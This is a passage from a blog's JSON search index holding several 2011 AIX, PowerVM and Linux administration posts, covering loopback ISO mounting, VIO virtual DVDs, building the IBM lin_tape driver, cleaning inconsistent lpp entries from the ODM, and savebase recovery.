style=\"display:flex;\"\u003e\u003cspan\u003eloop0 Available\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf the device is not present on system you get this error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1320-003 loopmount: Specified loopback device is not found in ODM\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow for mount:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# loopmount -i /iso/dvd.iso -l loop0 -o \u0026#34;-V cdrfs -o ro\u0026#34; -m /mnt/dvd\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd umount:\u003c/p\u003e","title":"AIX - loopmount"},{"content":"Example of PowerVM virtual dvd setup:\nlogin: padmin padmin\u0026#39;s Password: 1 unsuccessful login attempt since last login. Last unsuccessful login: Mon Jan 31 18:51:28 CST 2011 on /dev/vty0 Last login: Mon Jan 31 18:28:29 CST 2011 on /dev/vty0 $ $ mkrep -sp rootvg -size 10G Virtual Media Repository Created Repository created within \u0026#34;VMLibrary\u0026#34; logical volume $ mkvopt -name 6_1_6osp.iso -dev cd0 -ro $ $ mkvdev -vadapter vhost1 -fbo -dev vcd1 vcd0 Available $ loadopt -vtd vcd0 -disk 6_1_6osp.iso $ unloadopt -vtd vcd0 ","permalink":"https://www.deepreflect.net/2011/12/19/vio-iso-virtual-dvd/","summary":"\u003cp\u003eExample of PowerVM virtual dvd setup:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e login: padmin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e padmin\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s Password:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e unsuccessful login attempt since last login\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Last unsuccessful login: Mon Jan \u003cspan style=\"color:#ae81ff\"\u003e31\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e18\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e51\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e CST \u003cspan style=\"color:#ae81ff\"\u003e2011\u003c/span\u003e on \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evty0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Last login: Mon Jan \u003cspan style=\"color:#ae81ff\"\u003e31\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e18\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e28\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e CST \u003cspan style=\"color:#ae81ff\"\u003e2011\u003c/span\u003e on \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evty0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e mkrep \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esp rootvg \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esize \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003eG\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Virtual Media Repository Created\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Repository created within \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;VMLibrary\u0026#34;\u003c/span\u003e logical volume\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e mkvopt \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ename \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e_1_6osp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eiso \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edev cd0 \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ero\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e mkvdev \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003evadapter vhost1 \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efbo \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edev vcd1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e vcd0 Available\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e loadopt \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003evtd vcd0 \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edisk \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e_1_6osp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eiso\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e unloadopt \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003evtd vcd0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"VIO - iso virtual DVD"},{"content":"If you need to user ibm lto tape drive inside IBM, Adic, Dell tapelibrary, with Tivoli Storage Manager is necessary to use\nDownload latest driver from IBM Fixcentral: Storage Systems =\u0026gt; Tape Systems =\u0026gt; Tape device drivers and software =\u0026gt; Linux\nGet two two RPMs (my system is an RHEL 5 on 32bit hardware) : lin_tape-1.61.0-1.src.rpm \u0026lt;== Kernel module lin_taped-1.61.0-rhel5.i386.rpm \u0026lt;== Binary services\nFirst step, rebuild the source:\n# rpmbuild --rebuild lin_tape-1.61.0-1.src.rpm` ` Installing lin_tape-1.61.0-1.src.rpm Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.625 + umask 022 + cd /usr/src/redhat/BUILD + cd /usr/src/redhat/BUILD + rm -rf lin_tape-1.61.0 + /bin/gzip -dc /usr/src/redhat/SOURCES/lin_tape-1.61.0.tgz [cut] Wrote: /usr/src/redhat/RPMS/i386/lin_tape-1.61.0-1.i386.rpm Executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.18792 + umask 022 + cd /usr/src/redhat/BUILD + cd lin_tape-1.61.0 + rm -rf /var/tmp/lin_tape-1.61.0-1-root-root + exit 0 Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.18792 + umask 022 + cd /usr/src/redhat/BUILD + rm -rf lin_tape-1.61.0 + exit 0 Second step, install all:\n# rpm -Uhv /usr/src/redhat/RPMS/i386/lin_tape-1.61.0-1.i386.rpm # rpm -Uhv lin_taped-1.61.0-rhel5.i386.rpm Last step, start service and check for the probed devices:\n# /etc/init.d/lin_tape start # cat /proc/scsi/IBM* lin_tape version: 1.61.0 lin_tape major number: 253 Attached Changer Devices: Number model SN HBA SCSI FO Path lin_tape version: 1.61.0 lin_tape major number: 253 Attached Tape Devices: Number model SN HBA SCSI FO Path 0 ULTRIUM-TD2 1110274799 Adaptec 29160B Ultra160 SCSI 2:0:1:0 NA 1 ULTRIUM-TD2 1110275058 Adaptec 29160B Ultra160 SCSI 2:0:2:0 NA ` ","permalink":"https://www.deepreflect.net/2011/12/19/linux-ibm-lintape-driver/","summary":"\u003cp\u003eIf you need to user ibm lto tape drive inside IBM, Adic, Dell tapelibrary, with Tivoli Storage Manager is necessary to use\u003c/p\u003e\n\u003cp\u003eDownload latest driver from IBM Fixcentral:\nStorage Systems =\u0026gt; Tape Systems =\u0026gt; Tape device drivers and software =\u0026gt; Linux\u003c/p\u003e\n\u003cp\u003eGet two two RPMs (my system is an RHEL 5 on 32bit hardware) :\nlin_tape-1.61.0-1.src.rpm \u0026lt;== Kernel module\nlin_taped-1.61.0-rhel5.i386.rpm \u0026lt;== Binary services\u003c/p\u003e\n\u003cp\u003eFirst step, rebuild the source:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# rpmbuild --rebuild lin_tape-1.61.0-1.src.rpm` `\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Installing lin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003erpm\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Executing(\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003eprep): \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esh \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ee \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpm\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e625\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e umask \u003cspan style=\"color:#ae81ff\"\u003e022\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e cd \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eBUILD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e cd \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eBUILD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e rm \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erf lin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003egzip \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edc \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eSOURCES\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e [cut]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Wrote: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eRPMS\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003erpm\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Executing(\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003eclean): \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esh \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ee \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpm\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e18792\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e umask \u003cspan style=\"color:#ae81ff\"\u003e022\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e cd \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eBUILD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e cd lin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e rm \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erf \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eroot\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eroot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e exit \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Executing(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eclean): \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esh \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ee \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpm\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e18792\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e umask \u003cspan style=\"color:#ae81ff\"\u003e022\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e cd \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eredhat\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eBUILD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e rm \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erf lin_tape\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.61\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e exit \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSecond step, install all:\u003c/p\u003e","title":"Linux - IBM LinTape driver"},{"content":"# lppchk –v lppchk: The following filesets need to be installed or corrected to bring the system to a consistent state: 9a33182fe26f1beae04e59e5cb6d3cdb 0.0.0.0 (COMMITTED)\n# lslpp -L Backup the ODM using the following command:\n# tar -cvf /tmp/odm.tar ./etc/objrepos ./usr/lib/objrepos # export ODMDIR=/usr/lib/objrepos # odmget -q name= lpp # odmdelete -q name= -o lpp # odmdelete -q lpp_name= -o product # odmdelete -q lpp_id= -o history # odmdelete -q lpp_id= -o inventory # export ODMDIR=/etc/objrepos # odmdelete -q name= -o lpp # odmdelete -q lpp_name= -o product # odmdelete -q lpp_id= -o history # odmdelete -q lpp_id= -o inventory # export ODMDIR=/etc/objrepos Check lppchk -v again to see if those entries are gone from ODM\n","permalink":"https://www.deepreflect.net/2011/12/19/aix-lpp-incosistent/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# lppchk –v\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003elppchk: The following filesets need to be installed or corrected to bring the system to a consistent state:\n9a33182fe26f1beae04e59e5cb6d3cdb 0.0.0.0 (COMMITTED)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# lslpp -L \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBackup the ODM using the following command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# tar -cvf /tmp/odm.tar ./etc/objrepos ./usr/lib/objrepos\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# export ODMDIR=/usr/lib/objrepos\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmget -q name= lpp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q name= -o lpp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_name= -o product\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_id= -o history\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_id= -o inventory\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# export ODMDIR=/etc/objrepos\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q name= -o lpp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_name= -o product\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_id= -o history\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# odmdelete -q lpp_id= -o inventory\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# export ODMDIR=/etc/objrepos\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCheck lppchk -v again to see if those entries are gone from ODM\u003c/p\u003e","title":"AIX - lpp incosistent"},{"content":"0516-1734 extendlv: Warning, savebase failed. Please manually run 'savebase' before rebooting.\nIf you run savebase -v and you get \u0026ldquo;non-bootable LV name given\u0026rdquo; try reconstucting your /dev/ipldevice file.\nRun savebase -v again and if you get the same error, try follow procedure:\n# bosboot -ad /dev/hdiskX (a disk that has hd5 on it) # bosboot -ad /dev/hdiskY (a disk that has hd5 on it) # ipl_varyon -i [You\u0026rsquo;ll get a return on every physical disk on the system]\nYou will then get a return similar to this:\nsavebase -v saving to \u0026#39;/dev/hd5\u0026#39; 99 CuDv objects to be saved 240 CuAt objects to be saved 44 CuDep objects to be saved 51 CuVPD objects to be saved 407 CuDvDr objects to be saved 5 CuPath objects to be saved 0 CuPathAt objects to be saved 0 CuData objects to be saved 0 CuAtDef objects to be saved Number of bytes of data to save = 49587 Compressing data Compressed data size is = 12069 bi_start = 0x3600 bi_size = 0x1820000 bd_size = 0x1800000 ram FS start = 0x8d6ca0 ram FS size = 0xea34cf sba_start = 0x1803600 sba_size = 0x20000 sbd_size = 0x2f29 Checking boot image size: new save base byte cnt = 0x2f29 Wrote 12073 bytes Successful completion ","permalink":"https://www.deepreflect.net/2011/12/19/aix-warning-savebase-failed/","summary":"\u003cp\u003e\u003ccode\u003e0516-1734 extendlv: Warning, savebase failed. Please manually run 'savebase' before rebooting.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIf you run savebase -v and you get \u0026ldquo;non-bootable LV name given\u0026rdquo; try reconstucting your /dev/ipldevice file.\u003c/p\u003e\n\u003cp\u003eRun savebase -v again and if you get the same error, try follow procedure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# bosboot -ad /dev/hdiskX (a disk that has hd5 on it)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# bosboot -ad /dev/hdiskY (a disk that has hd5 on it)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ipl_varyon -i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e[You\u0026rsquo;ll get a return on every physical disk on the system]\u003c/p\u003e","title":"AIX - Warning, savebase failed"},{"content":"Memo: lslpp\nList the package that owns a file\n# lslpp -w\nList the files in a package\n# lslpp -f\nList all packages installed\n# lslpp 